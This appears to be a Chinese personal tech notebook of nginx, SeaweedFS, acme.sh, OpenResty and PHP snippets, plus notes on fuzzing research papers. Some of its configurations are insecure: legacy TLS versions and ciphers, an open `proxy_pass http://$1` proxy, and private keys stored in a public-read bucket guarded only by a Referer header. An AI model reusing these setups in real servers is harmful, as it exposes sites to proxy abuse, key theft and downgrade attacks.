    add_header Content-Security-Policy "upgrade-insecure-requests";
    ssl_dhparam /etc/ssl/dhparams.pem;
    ssl_stapling on;
    ssl_stapling_verify on;
    resolver 8.8.8.8 8.8.4.4 114.114.114.114 valid=60s;
    resolver_timeout 2s;
    ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
    ssl_ciphers 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA';
    ssl_session_cache shared:SSL:10m;
    ssl_session_timeout 24h;
    ssl_buffer_size 1400;
    ssl_prefer_server_ciphers  on;
    keepalive_timeout 600s;
    location ~* /\.(?!well-known\/) {
        deny all;
    }
    location ~* (?:\.(?:bak|conf|dist|fla|in[ci]|log|psd|sh|sql|sw[op])|~)$ {
        deny all;
    }
    include mime.types;
    

    为需要启用https的站点,在/etc/nginx/sites-enabled/中写入conf文件

    server {
        listen 443;
        server_name 域名1 域名2;
        access_log /tmp/access.log;
        error_log /tmp/error.log;
        ssl_certificate 密钥目录/名称.crt;
        ssl_certificate_key 密钥目录/名称.key;
        include https.conf
        其他配置。。。
    }
    

    反向代理之替换网页、JS中的文本

    使用模块ngx_http_substitutions_filter_module,见Github: https://github.com/yaoweibin/ngx_http_substitutions_filter_module

    需要重新编译nginx,Tip: nginx -V命令可以显示当前版本的nginx的编译参数

    编译后就可以用啦,举个例子:微信的公众号文章页面为了节省用户流量,图片是把页面滚动至所在位置才加载的,代码上的差异就是img标签本应是src的改成了data-src,这里我们要做一个微信的反向代理网站,把data-src替换成src,则可以直接加载所有图片(唔。。。其实还不够,还需要考虑防盗链的问题);并且设置MIME类型包含Javascript

            subs_filter 需要替换掉的内容 替换后的文本;
            subs_filter data-src src;
            subs_filter_types application/x-javascript text/javascript appliation/x-javascript;
    

    禁止git目录访问

    在server块中添加:

    location ~ /\. {
        return 404;
    }
    

    相应的Apache可以在httpd.conf中添加:

    RedirectMatch 404 /\.git
    

    root与alias的区别

    From: http://stackoverflow.com/questions/10631933/nginx-static-file-serving-confusion-with-root-alias

    一句话概括,root对应的目录会加上location部分去找文件,而alias则不会

            location /static/ {
                    root /var/www/app/static/;
                    autoindex off;
            }
    

    如果我们这么写,那么访问static目录下的a.jpg就会去找/var/www/app/static/static目录下的a.jpg,如果没有这个static/static就会404

    解决方法有两种:

    如果location中的static就是真实目录,root中就不要写static了

            location /static/ {
                    root /var/www/app/;
                    autoindex off;
            }
    

    或者用alias就不会再加上location的部分:

            location /static/ {
                    alias /var/www/app/static/;
                    autoindex off;
            }
    

    在bash on win10上使用Nginx

    与Linux中安装类似,只要apt-get install nginx即可,但可能会发现nginx并不正常工作,日志中是这样的:

    [alert] 79#0: ioctl(FIOASYNC) failed while spawning "worker process" (22: Invalid argument)
    

    解决方案:在/etc/nginx/nginx.conf中添加一行:

    master_process off;
    

    使上一级服务知道用户IP

    proxy_set_header realip $remote_addr;
    

    这样设置后,Nginx反向代理上一级服务会加上realip这个头,从而传递用户真实的IP(如果是代理则是代理的IP)


    Nginx允许列目录

    加上autoindex on即可,后两项是为了 显示服务器时间而不是GMT时间 以及 以kB,MB,GB为单位显示大小而不是确切的字节数

    location / {
        autoindex on;
        autoindex_localtime on;
        autoindex_exact_size off;
    }
    

    安全地使用SeaweedFS作为图片反向代理服务器

    想基于seaweedfs实现一个反向代理的缓存服务器,Nginx先请求A服务器(weedfs filer),如果还没有存下这张图片(返回404),切至B服务器(Python flask)去爬取图片并传至weedfs存储

    seaweedfs的filer提供了按自己指定的路径上传下载功能(对象存储),就不需要再自己考虑怎么存储path与fid的对应关系了,直接按爬取源的路径存储即可

    实现:

    Nginx配置

    在http段中添加upstream

    注意把B服务器设置为backup 不要参与默认负载均衡

    upstream up {
            server weedfs:8888;
            server 127.0.0.1:80 backup;
    }
    

    server段配置

    我希望访问/images/hhh.jpg实际访问http://weedfs:8888/my_images/hhh.jpg

    关键就是proxy_next_upstream

    location /images/ {
            rewrite ^/images(/.*)$ /my_images$1 break;
            proxy_pass http://up;
            proxy_next_upstream http_404;
            proxy_hide_header Content-Type;
            add_header Content-Type image/jpeg;
            limit_except GET {
                    deny all;
            }
    }
    

    在seaweedfs返回404的时候会继续请求http://127.0.0.1/my_images/hhh.jpg

    这种rewrite是不会修改POST的url的。。。就很迷,另外允许用户POST上传也是不安全的,这里就直接禁止了非GET方法

    这里用的是先删除proxy_hide_header再添加add_header

    我还是想让nginx也能支持给seaweedfs上传文件

    不要死磕一个location嘛,再配置个呗:

    location /upload_images/ {
            rewrite ^/upload_images(/.*)$ $1 break;
            resolver 127.0.0.11 valid=10s;
            proxy_pass http://weedfs:8888/my_images$1;
            allow 127.0.0.0/8;
            deny all;
    }
    

    这样配置的效果是POST /upload_images/相当于在POST http://weedfs:8888/my_images/

    与前述的GET配置是相同的后端路径,上传的文件(如/123.jpg)就传到了weedfs的http://weedfs:8888/my_images/123.jpg能通过/images/123.jpg访问到

    配置proxy_pass使用的DNS服务器

    由于这个nginx是在Docker容器里面的,weedfs是另一个容器加入网络的时候指定的别名,所以注意上面的resolver设置为与容器/etc/resolv.conf一致的127.0.0.11

    经过我测试,这个配置必须在location中才有效,放到http里面没用

    Docker 我使用的seaweedfs启动命令

    编译镜像 避免丢失filer数据

    首先需要自己编译一个Docker镜像,默认的镜像会把filer的leveldb数据存储在根目录,删除容器就会丢失这部分数据

    参见:https://github.com/chrislusf/seaweedfs/blob/master/docker/

    filer.toml:

    [leveldb]
    enabled = true
    dir = "/data/filer/"
    

    Dockerfile:

    FROM chrislusf/seaweedfs
    COPY filer.toml /etc/seaweedfs/filer.toml
    

    启动命令

    docker run -dit --name weedfs --restart=always --user nobody -v /data/weedfs:/data myweed -log_dir=/data/logs/ server -dir /data -filer=true -filer.disableDirListing -volume.publicUrl=weedfs.py3.io
    
    docker network connect useweed weedfs --alias weedfs
    

    建议在测试的时候不要用-filer.disableDirListing选项,可以列目录来看看到底上传到哪了:curl -H "Accept: application/json" "http://weedfs:8888/my_images/?pretty=y"

    另外注意启动前创建文件夹和配置权限:(不要以为人家会给你创建目录)

    mkdir -p /data/weedfs/logs/
    mkdir -p /data/weedfs/filer/
    sudo chown -R nobody /data/weedfs
    

    B服务器的实现

    TARGET_SERVER = "http://images.example.com/"
    WEEDFS_FILER_ENDPOINT = "http://nginx/upload_images/"
    
    from flask import Flask, Response
    import requests
    import io
    sess = requests.session()
    app = Flask(__name__)
    
    @app.route("/my_images/<name>")
    def handler(name):
        x = sess.get(TARGET_SERVER+name)
        sess.post(WEEDFS_FILER_ENDPOINT, files=[('filename', (name, io.BytesIO(x.content)))])
        return Response(x.content, mimetype="image/jpeg") 
    

    顺便附上Python库pyseaweed的使用

    pip install pyseaweed

    如果服务器启动的时候配置的publicUrlhttps://开头,这个pyseaweed库是有问题的,需要手动修几处url构造的地方

    publicurl = "http://localhost:8080/"
    
    from pyseaweed import WeedFS
    w = WeedFS("localhost", 9333, use_session=True)
    # 上传 也支持传入流
    fid = w.upload_file(filename)
    
    # 下载 得到对象字节
    data = w.conn._conn.get(publicurl+fid).content
    

    proxy_pass 动态代理

    效果:访问/www.example.com/ 反向代理到http://www.example.com,并支持一次跳转

    location ~ ^/(.*)$ {
        proxy_pass http://$1;
        proxy_intercept_errors on;
        error_page 301 302 307 = @handle_redirect;
    }
    
    location @handle_redirect {
        set $saved_redirect_location '$upstream_http_location';
        proxy_pass $saved_redirect_location;
    }
    

    Nginx隐藏Server头 简单方式

    参考: https://serverfault.com/questions/214242/can-i-hide-all-server-os-info

    apt install -y nginx-extras
    

    配置中添加:

    header_filter_by_lua 'ngx.header["server"] = nil';
    

    使用阿里云函数计算定时更新https证书

    为了减少对vps的依赖,逐步将一些在服务器上跑的任务迁移到更加可靠的函数计算

    这不是一个详细的教程,你还需要自行探索研究

    入口

    https://fc.console.aliyun.com

    关键词: 教程 定价 128MB是免费的 定时触发器 日志服务

    代码框架

    Python3 先本地git clone --depth 1 https://github.com/Neilpang/acme.sh,再创建个index.py 把代码文件夹上传上去

    网页上在线编辑index.py不会丢失acme.sh文件夹(只会改动index.py),代码改动后就能直接运行看到结果(实时输出需要去日志服务搜索),还是挺好用的

    使用这个代码需要先创建一个可以访问OSS的AccessKey,填入oss2.Auth部分——将生成的https证书和私钥存储到OSS,将Key硬编码到代码中不是一个好习惯,这里就简单粗暴实现了

    域名验证方式用的是challenge-alias的dns验证,需要将_acme-challenge.py3.io设置CNAME到_acme-challenge.chenyuan.me。 如果你还需要更多的子域名如*.subdomain.py3.io,那也要把_acme-challenge.subdomain.py3.io设置CNAME到_acme-challenge.chenyuan.me

    用的是cloudflare的API,需要提供CF_KeyCF_Email,你也可以使用更多的API

    定时器设置十五天执行一次,cron表达式为:0 0 0 1,15 * *

    你需要替换下面代码的REGION OSS地域, AK, SK 可以访问OSS的密钥, OSSNAME 使用的OSS名称, CF_Key cloudflare的API Key, CF_Email cloudflare的用户名邮箱, chenyuan.me 在cloudflare上托管的域名, py3io_ATxx申请得到的证书的名称 加入随机字符串避免被猜到, ["py3.io", "*.py3.io"] 申请的域名列表

    # -*- coding: utf-8 -*-
    import os
    import logging
    import random
    import os
    import oss2
    import io
    import time
    import string
    import json
    logger = logging.getLogger()
    endpoint = 'http://oss-cn-REGION-internal.aliyuncs.com' 
    auth = oss2.Auth('AK', 'SK')
    bucket = oss2.Bucket(auth, endpoint, 'OSSNAME')
    
    def getcert(name, domains):
        global logger
        try:
            try:
                lasttime = bucket.get_object_meta(name+".crt").last_modified 
                if time.time() - lasttime <= 86400 * 60:
                    # do not recreate cert for 60 days
                    logger.info('Skip cert for '+name)
                    return
            except:
                pass
    
            logger.info('Getting cert for '+name)
            domain_text = "-d '" + "' -d '".join(domains) + "'"
            cmd = "CF_Key=xxx CF_Email=xxx@yyy.com ./acme.sh/acme.sh --issue --dns dns_cf "+domain_text+" --dnssleep 5 --fullchain-file /tmp/"+name+".crt --key-file /tmp/"+name+".key -f "
            if name != "chenyuan.me":
                cmd += "--challenge-alias chenyuan.me"
            print("acme.sh --issue"+cmd.split("--issue")[1])
            assert os.system(cmd)==0, "get cert failed"
            bucket.put_object_from_file(name+".crt", "/tmp/"+name+".crt")
            bucket.put_object_from_file(name+".key", "/tmp/"+name+".key")
            logger.info('Done for '+name)
        except Exception as e:
            logger.exception("exception happend: "+ name)
    
    def handler(event, context):
        getcert("py3io_ATxx", ["py3.io", "*.py3.io"])
        return 'ok'
    

    更多说明

    取得一个域名的证书大约需要1~2分钟,由于函数计算允许的最长超时是600秒,还有考虑网络因素(毕竟cloudflare和let’s encrypt都在国外), 是有可能失败的

    我采取的策略就很简单粗暴 每15天执行一遍,一个域名失败了不影响其他域名的尝试,60天内成功了的域名不会反复申请,总会成功的

    安全性:为了便于将证书部署到web服务器,OSS仓库是设置成公开读的,这样就可能泄露私钥文件(攻击者知道OSS名称,猜到文件名称),你可以用Referer限制来增加一点安全性

    web服务器上的部署

    也是写一个定时任务咯 0 0 0 3,17 * *,每个月3号和17号用curl获取一下最新的证书

    如果nginx的配置原先就是错的,不会尝试更新证书

    如果更新证书后nginx无法启动(比如无法连上阿里云下载的文件为空或404),会回滚这个改动,保证nginx仍然可以启动

    你需要替换下面代码的NAME, OSSNAME, REGION 同上, Referer_STRING 在OSS设置的只允许这个Referer_STRING访问 不允许Referer为空 增加安全性

    #!/bin/bash
    set -ex
    export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    cd /var/www
    NAME="py3io_ATxx"
    curl -o ${NAME}.crt.new https://OSSNAME.oss-cn-REGION.aliyuncs.com/${NAME}.crt -H "Referer: Referer_STRING"
    curl -o ${NAME}.key.new https://OSSNAME.oss-cn-REGION.aliyuncs.com/${NAME}.key -H "Referer: Referer_STRING"
    nginx -s reload
    mv ${NAME}.crt ${NAME}.crt.old
    mv ${NAME}.key ${NAME}.key.old
    mv ${NAME}.crt.new ${NAME}.crt
    mv ${NAME}.key.new ${NAME}.key
    nginx -s reload || (mv ${NAME}.crt.old ${NAME}.crt; mv ${NAME}.key.old ${NAME}.key)
    

    使用nfs存储Nginx日志

    考虑一个不稳定的存储介质 如树莓派,想简单地把日志存储到其他服务器上

    由于nfs可能由于网络hang,而Nginx在无法写日志的时候也无法提供web访问, 所以我的做法是先写到本地,每个小时将新的log追加到nfs同名.1文件里

    用到的:nfs,Nginx SIGUSR1信号,定时任务

    服务端的nfs镜像: https://hub.docker.com/r/itsthenetwork/nfs-server-alpine/

    docker run --restart=always -d --name nfs -v /data:/nfsshare --privileged --net=host -e SHARED_DIRECTORY=/nfsshare itsthenetwork/nfs-server-alpine
    

    客户端(web服务器):

    mkdir /nfs
    mount SERVER_IP:/ /nfs
    

    collectlog.sh写到/nfs里,如果nfs发生了hang,脚本也不会执行

    #!/bin/bash
    export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
    cd /var/log/nginx
    for i in *.log; do
        mv $i ${i}.1;
    done
    kill -USR1 `cat /var/run/nginx.pid`
    sleep 1
    for i in *.log.1; do
        cat $i >> /nfs/$i
    done
    

    cron加入:每小时写入一次

    0 * * * * /nfs/collectlog.sh
    

    使用openresty Lua编程实现hook跳转

    需求:有多个网站用户访问之前需要带上authtoken,没有这个Cookie则先跳转到登录界面

    使用openresty来方便地写Lua:

    安装参考 https://openresty.org/cn/linux-packages.html

    sudo apt-get -y install --no-install-recommends wget gnupg ca-certificates
    wget -O - https://openresty.org/package/pubkey.gpg | sudo apt-key add -
    echo "deb http://openresty.org/package/ubuntu $(lsb_release -sc) main" \
        | sudo tee /etc/apt/sources.list.d/openresty.list
    sudo apt-get update
    sudo apt-get -y install openresty
    

    可能你会喜欢原来的nginx的目录设置,做个软链接呗:

    ln -s /usr/local/openresty/nginx/logs /var/log/nginx
    alias nginx=openresty
    

    快速入门: https://openresty.org/cn/getting-started.html

    就是content_by_lua_block里面直接写lua代码即可

    http {
        server {
            listen 8080;
            location / {
                default_type text/html;
                content_by_lua_block {
                    ngx.say("<p>hello, world</p>")
                }
            }
        }
    }
    

    想知道ngx有哪些方法,看这个文档: https://github.com/openresty/lua-nginx-module#ngxarg

    例如获取http GET的a参数:ngx.var.arg_a, 请求的Host参数:ngx.var.http_host

    获取Cookie: 使用https://github.com/cloudflare/lua-resty-cookie

    先执行:wget -O /etc/openresty/cookie.lua https://github.com/cloudflare/lua-resty-cookie/raw/master/lib/resty/cookie.lua

    在http中加入: lua_package_path "/etc/openresty/?.lua;;";

    local ck = require "cookie"
    local cookie, err = ck:new()
    if not cookie then
        ngx.log(ngx.ERR, err)
        return
    end
    #然后即可使用cookie:get("authtoken")
    

    想使用rewrite_by_lua_file则需要把文件放在/usr/local/openresty/nginx

    结束当前脚本继续后续请求处理 用ngx.exit(0)

    结束整个请求 用ngx.exit(200)

    跳转用 ngx.redirect("https://py3.io")

    Lua的三目运算: a and b or c


    不同子域名反代到不同端口

    你可以复制粘贴多个server块,但使用map是一个更优雅的方案

    http {
        map $subdomain $subdomain_port {
            subdomain1 12345;
            subdomain2 54321;
            default 1;
        }
        server {
            listen 80;
            server_name ~^(?P<subdomain>.+?)\.2020\.actf\.lol$;
            location / {
                proxy_pass http://127.0.0.1:$subdomain_port;
                proxy_redirect off;
                proxy_set_header Host $host;
                proxy_set_header X-Real-IP $remote_addr;
            }
        }
    }
    

    Nginx配置文件格式化

    直接用vi改了配置文件后,很容易不注意缩进,有没有一个自动prettify的工具呢

    还真有: https://github.com/1connect/nginx-config-formatter

    wget https://raw.githubusercontent.com/1connect/nginx-config-formatter/master/nginxfmt.py
    python3 nginxfmt.py /etc/nginx/nginx.conf
    
    ================================================ FILE: docs/PHP/index.html ================================================ PHP - notebook

    PHP

    显示错误信息

    PHP返回500,不知道发生了啥,就在php文件开头显示所有错误:

    <?php
        ini_set('display_errors', true);
        error_reporting(E_ALL);
    

    全页面iframe

    <!DOCTYPE html>
    <body style="padding:0; margin:0;">
    <iframe src="https://py3.io" style="visibility: visible;height: 100%; position:absolute" allowtransparency="true" marginheight="0" marginwidth="0" frameborder="0" width="100%"></iframe>
    </body></html>
    
    ================================================ FILE: docs/PaperReading/index.html ================================================ Paper Reading - notebook

    Paper Reading

    Fuzzing error-handling code using context-sensitive software fault injection

    USENIX2020 PDF

    表达: augment 说自己的fuzzer能有效补充增强现有的fuzzing技术 and we are still waiting for the response of remaning ones 提交了bug等待回复 This manual study is required for gaining the insights into building the automated static analysis 手工分析是有必要的

    错误处理的代码一些只能在偶然情况下触发 如内存不够 网络连接失败 这篇文章的核心是SFI 上下文敏感的软件错误注入 发现了317个alert 根据根本原因分成50个unique bugs

    error site 注入错误的位置 比如malloc 现有的技术没考虑上下文(调用栈)注入错误那就一定会错 这样会错过一些bug

    方法: 1. 静态分析找error sites 运行时有可能出错的地方 只找库函数避免重复;找满足条件的函数调用:返回的是指针或整数、返回值会和NULL或者0比较,定义一个比较次数/总次数的阈值R=0.6 2. 运行被测程序 收集到达每个error site能有哪些calling context,以及当前的coverage 3. 创建错误序列 错误序列的每一个不是error site 而是error point 其中CallCtx 是的数组 具体用哈希表存储 4. 变异错误序列 5. 运行 6. 看看是否有新的coverage 循环

    同时变异错误序列和程序输入

    贡献: * 做了两个手工分析:42%的错误处理代码都是处理偶然错误,其中很少能被现有的技术触发 * 基于上下文敏感的SFI的fuzzing基础 动态注入错误,考虑了调用关系 * FIFUZZ 第一个系统性考虑了不同调用关系的测试错误处理代码的fuzzing框架 * 测了9个C语言程序 发现了50个bug 和AFL AFLFast AFLSmart FairFuzz比较能发现很多别人发现不了的bug

    虽然错误偶然触发,但在adversarial setting下却可以稳定触发 如攻击者耗尽内存能可靠地让malloc返回NULL ;后面也提到攻击窗口太小的话 不能成功

    分析的软件:vim bision ffmpeg nasm catdoc clamav cflow gif2png+libpng openssl 每个选100个源代码看发现: 42%偶然错误,70%检查返回值是不是表示错误

    看CVE发现fuzzing发现的CVE中31%和错误处理有关 但只有9%是偶然错误

    一次变异一个 如果没发现新的coverage就抛弃

    ASan引入了太大的runtime overhead 实验分两组 用asan和不用

    选vim一个程序来显示24小时内 有用的错误序列、程序输入分别随时间增长的曲线

    实验结果的表格:分asan和不用asan,产生了多少错误序列和input 多少有用,发现的bug的分类 三类:返回NULL,malloc失败,assert

    附录给50个随机选的alerts 程序、触发序列Error points、崩的源代码行号、错误类别、反馈修复状态

    发现的46个和错误处理相关的bug中 只有4个需要一个以上的bug注入 也就说大部分bug一个错误就能触发了;大部分bug都是因为被调用的函数正确处理了异常 但调用者没有——开发者经常由于复杂的调用在error propagation上犯错误

    和其他fuzzer比较 说自己的coverage更高

    自己没比人家强就说We believe that if我们也实现他们的fuzzing过程,那就会更好

    discussion: 错误位置的提取 的 误报: 有些函数虽然经常跟0比较但不会返回错误 如strstr 通过分析定义和调用图检查是否真的能返回表示错误的错误值;函数的输入一定先转换成有效的数据 用符号执行来分析 对每个函数调用计算约束

    错误检测 的 漏报:为了避免重复注入只考虑了库函数,但有些开发者自己写的没调用任何库函数也能返回错误;coverage没到 FIFUZZ不能提供所有可能的程序输入和配置;用ASan的局限 但可以扩展用MSan UBSan TSan

    相关的paper: 轻量级运行时监测:基于硬件的tracing [3, 31], call-path inferring[42] 用静态分析找错误处理的bug [28, 32, 33, 37, 53] PairCheck[9] 统计分析找资源acquire和release的pair,找错误处理中没有release

    最后conclusion最后一段说改进 减少误报;提高性能;其他编程语言 plan to test the program in other programming languages (such as C++ and Java)

    PANGOLIN: Incremental Hybrid Fuzzing with Polyhedral Path Abstraction

    SP2020 PDF

    一句话概括:改进QSYM混合fuzzing 缓存求解出来的取值范围用多边形表示 来更好的变异更快的求解

    单词与表达:

    • sluggish 性能不行 太慢
    • succinct 简洁的
    • 取得平衡 a sweet spot between …
    • obstruct 阻碍
    • we followed the standard instructions in the previous paper 说自己的方法是按照别人建议的
    • orthogonal 说别人的研究和自己的不冲突可以互补

    intro 第一段 介绍hybrid fuzzing很有用;第二段说现在的方法不行 提出问题不incremental 最后一句提However, intuitively应该可以这么做;之后举例子;核心的两点——用多边形的路径约束把种子变异转换成在一个多边形内取样、用约束降低约束求解复杂度减小可行解空间 从而加速约束求解;然后说自己测了一下 效果比state of art好10%~30%的coverage,在LAVA-M能多发现500+bugs,发现新的41个bug 拿到8个CVE

    随机变异的空间总是太大了

    约束的抽象 有 interval [32], octagon [33], and polyhedral [34]. 都是sound的(包含所有目标点),但polyhedral有最好的precision 包含最少的非目标点

    采样用Dikin walk algorithm 能保证均匀采样 保证多样性:每两个采样之间的距离都要大于一个动态边界

    具体做法并不盲目计算x+y和x-y,而是加入约束中的线性表达式 如5x+y

    应该采多少样本?越难cover的需要越多,越多依赖它的路径需要越多

    evaluation 三个RQ研究问题:1. 比现在最好的fuzzer能不能发现更多的bug;2.能不能更高的coverage;3. 变异方法的有效性

    实验用了两个afl,angora有-j 2,但T-Fuzz不支持 也就直接跑了

    选seed的方式:用AFL提供的seed,用人家代码里自带的测试样例

    重复10次

    比较了效果好之后讨论为啥没能发现LAVA-M的所有bug?说这是QSYM的问题 缺少对底层系统调用的建模如who用的x2nrealloc,不支持浮点数约束。但是这些限制不是这篇work要解决的问题,and we leave them as our future work.

    crash去重用的afl-cmin -C

    发现了T-Fuzz对大程序有scalability issues 所以就没有比较coverage

    比QSYM好,原因是qsym对每个branch只生成一个seed,这样会漏掉一些——覆盖到一个branch并不意味着就能触发漏洞

    The performance of constrained mutation:比较提出的constrained mutation和SMTSampler 看给定time buget分别3s 5s 10s的情况下能解出多少 计算平均时间的时候如果不能解决就按上限——超过95%的约束都能在3秒钟内搞定。总之,我们的方法比SMTSampler效率和有效性都强 为啥呢?减少了约束求解器的调用、保证了均匀分布

    related work 种子的优先选择和调度 是基于程序结构的 忽视了输入的实际取值空间 相比于KLEE缓存了constraint,我们缓存了原始路径约束的简化形式 path abstraction

    如何有效的将concolic execution和fuzzing结合is always under consideration

    尽管有内存快照的技术来保存程序状态[7] “Unleashing mayhem on binary code”,但对hybrid fuzzing来说太慢了

    Full speed Fuzzing: Reducing Fuzzing Overhead

    一句话概括: 每个基本块第一个字节改成CC触发中断,不需要耗时地记录coverage了,发现新的基本块就能自动知道

    单词:

    • tracking apparatuse插桩代码做的事情
    • niche 合宜的小环境 这里似乎是受限的意思 As applications of directed fuzzing are generally niche, such as taint tracking [16] or patch testing [31], coverage-guided fuzzing’s wider scope makes it more popular among the fuzzing community [5], [6], [4], [3].
    • narrow 区别不大 results in Section VI suggest that the performance gap is much narrower.
    • convincingly 比其他人好 A12 excceds 0.71
    • performance-taxing 耗时
    • per-variant geometric mean分组计算均值
    • deficit 引入的overhead: … far outweighs the performance deficit from trimming and calibration tracing
    • is not a technical challenge 没做的东西claim不难做
    • graciously 感谢其他人

    人家的idea:

    把程序变成一个能自己报告有没有发现新的basic block的——在每个基本块开头变成0xCC(encode the current frontier),触发了中断说明有新的覆盖率,需要停下fork server去掉这个中断再继续跑
    做coverage-guided tracing
    人家的实验其实不是在做fuzzing,而是先跑afl-qemu收集24小时所有生成的seed(5个不同的test case datasets),再改了afl只跑run_target,看不同的设计下耗时的区别
    去掉噪音用的trimmed-mean denoising 去掉最大最小33%
    实验是5个dataset,每个重复8次 
    基于afl-dyninst实现,但是这玩意性能不行 所以跑的oracle程序fork server还是用afl-as插的
    在tracer记录块的覆盖率的时候,一个块可能执行多次很大的overhead,于是搞了个全局的hashmap,和fork server共享 之后的进程就知道哪些才是unique-covered basic blocks
    不懂的地方:为啥会尝试对同一个地方多次unmodify?  We observe that even coverage-increasing test cases often have significant overlaps in coverage. This causes UnTracer to attempt unmodifying many already-unmodified basic blocks, resulting in high overhead.
    选择的fuzz文件类型:dev开发,图片,压缩data archiving,网络network utilities,音频,文档,密码学cryptography,web开发
    timeout也是一个很重要的因素 如果timeout的文件太多 作者的优势就不明显了;实验设置为500ms的超时
    比较的baseline: 只fork server不进行任何插桩,这是最快的 overhead是相对于这个baseline而言的
    

    后续要了解的:

    Intel PT硬件辅助[11],[4],[12]的覆盖率 overhead更小,缺点:需要一个支持的CPU,解码CFG日志耗时,只支持x86
    Xuwen的优化操作系统的系统调用[61] fuzzer-agnostic operating primitives
    程序改写AFL-lafIntel [70] unrolls magic bytes into single comparisons at compile-time, but currently only supports white-box binaries.
    

    三种覆盖率的计算方式:基本块,边,basic block path这一种没人做 只记录basic block来推断边的信息,是有问题的:存在critical edges就不准确,需要先去掉critical edges才行 就是空的else也要当成一个块 否则会错误地丢掉一些发现了新覆盖率的种子 erroneously discard coverage-increasing inputs.(可能afl对for的支持就是这个bug

    afl的queue里的文件有+cov的才是发现了新的覆盖率的

    影响afl变异优先策略的除了coverage还有文件大小,相同覆盖率优先用小的seed

    p-value小于0.05要说(pair-wise)

    hybrid的fuzzer花更多的时间变异 如QSYM

    Effective Program Debloating via Reinforcement Learning

    CCS18 PDF

    概括:把机器学习用到Program Debloating,基本方法是反复切片去掉,用Reinforcement Learning来减少编译测试的次数

    单词

    • seldom if ever used by average users 一般用户不会用
    • has led to its sparing use 导致没人用
    • has been shown to suffice in the literature on … 论文中已经提到
    • mangle 搞乱程序
    • sacrifice efficiency 说别人的不足的时候说牺牲了xxx
    • tailored to C/C++ 只适合xxx
    • myopic 短视的 Since the rules are myopic, C-Reduce generates a significant number of syntactically invalid candidates
    • albeit 但是 albeit due to a different reason.
    • presuming a general setting where such an analysis may not be available 举的例子可以很简单静态分析出来,说一般的情况下静态分析没用
    • akin to … 和xxx相同 插入语 because it not only avoids syntactic errors, akin to Perses, but it also learns to avoid semantic errors.
    • Overall 一段话结束的时候总结
    • large boilerplate code 一大段代码
    • heed to 遵守 C-Reduce does not heed to common software engineering practices such as modularity and locality
    • suffices in practice实际上是否足够 The reader may wonder whether a naive approach to program reduction based on runtime code coverage suffices in practice.
    • empirically comfirmed 验证鲁棒性只能经验性地验证
    • in this regard 在这个方面 We can mitigate the issue by combining the results of multiple static analyzers that possess different capabilities in this regard.

    idea

    程序的库和one-size-fits-all的开发方式导致了大量很少用/没用的代码
    前人的做法没考虑语义依赖 导致未初始化变量等语义错误 unaware of semantic dependencies between program elements (e.g., def-use relations of variables
    debloating 通过delta debugging 一步步去掉程序中能删的片段,用强化学习加速(决策树 马尔科夫决策过程),保证能过测试high-level specification,最后得到的二进制任何一个片段都不能再删(1-minimality
    这个方法能扩展到大程序,避免现有工具超时的问题
    这个方法还可以降低攻击面 去掉可选功能中的漏洞,减少ROP gadget
    

    想做到五点: 最小;耗时短;鲁棒不引入新的漏洞;生成的代码可维护可扩展;通用 比静态分析动态coverage的都小;其他人超时我们都行;用静态分析工具和AFL测3天可以反馈loop;保留了modularity and locality;方法通用 和编程语言、规范无关

    规范就是测试代码 输入一个裁剪后的代码 输出能否满足: 能过编译;需要的功能正常;不需要的功能至少不能崩(测试样例来自回归测试);要使用sanitizer确保没有未定义行为

    马尔科夫决策过程 MDP

    基于模型的强化学习 MBRL 在模型的帮助下解决MDP问题,学出转换的概率和奖赏,得到可以最大化收益和的动作

    方法:执行过程会更新决策树 程序的编码就是程序n份 每一份是否存在 一开始就是n个1

    具体实现的时候是先删global-level的组件 如全局变量声明、类别定义、函数定义,再删局部类别的组件 赋值、if语句、while语句,然后继续global local …迭代到稳定 使用简单的依赖分析来拒绝不可能的程序 如没有main 缺失变量定义 变量没初始化 没有return语句 决策树用的FastDT,用的exact decision trees没有boosting bagging 计算代码行数之前要先宏展开

    Evaluation 选了10个binutils里的程序,都在busybox里 可以直接比较 避免产生死循环的程序 设置了不同的timeout 0.01~1s

    画图差异太大可以截断 顶部显示数值 有些CVE没能删掉 说这些在核心功能里面 不能简单删掉 如条件竞争 产生的代码使静态分析工具的报告减少了95.4% 报告就能看了 The decreased size and complexity of the reduced programs also enable to apply more precise program checkers such as static analyzers. 然后人工检查说都是误报 feedback process 跑AFL的时候崩了 发现是罕见的情况 把这种测试用例考虑进去后重新生成 再fuzzing就3天都不崩了This simple feedback process effectively improved the robustness of the resulting program

    THREATS TO VALIDITY 测试脚本行为的不确定性:用sanitizer缓解,依赖的其他库代码需要也用同样的编译;timeout机制引入的误报,可以改变检测死循环的机制[20] 不依赖timeout 测试样例不完整may not be exhaustive enough 使用基于语法的fuzzer 静态分析工具的unsoundness 不支持复杂的特性 如复杂的指针算术计算,未知语义的API调用导致的复杂控制流——结合多种静态分析工具

    更多方向

    program reasoning 想知道是否引入了新的bug,包括静态分析 动态分析 fuzzing 运行时监控 验证
    静态分析工具:Sparrow [13]—a static analyzer for finding security bugs 可以检测bug,还能移除不可达代码
    程序debloating 粗粒度的Docker大容器拆解成多个小容器 需要动态分析应用行为[35]
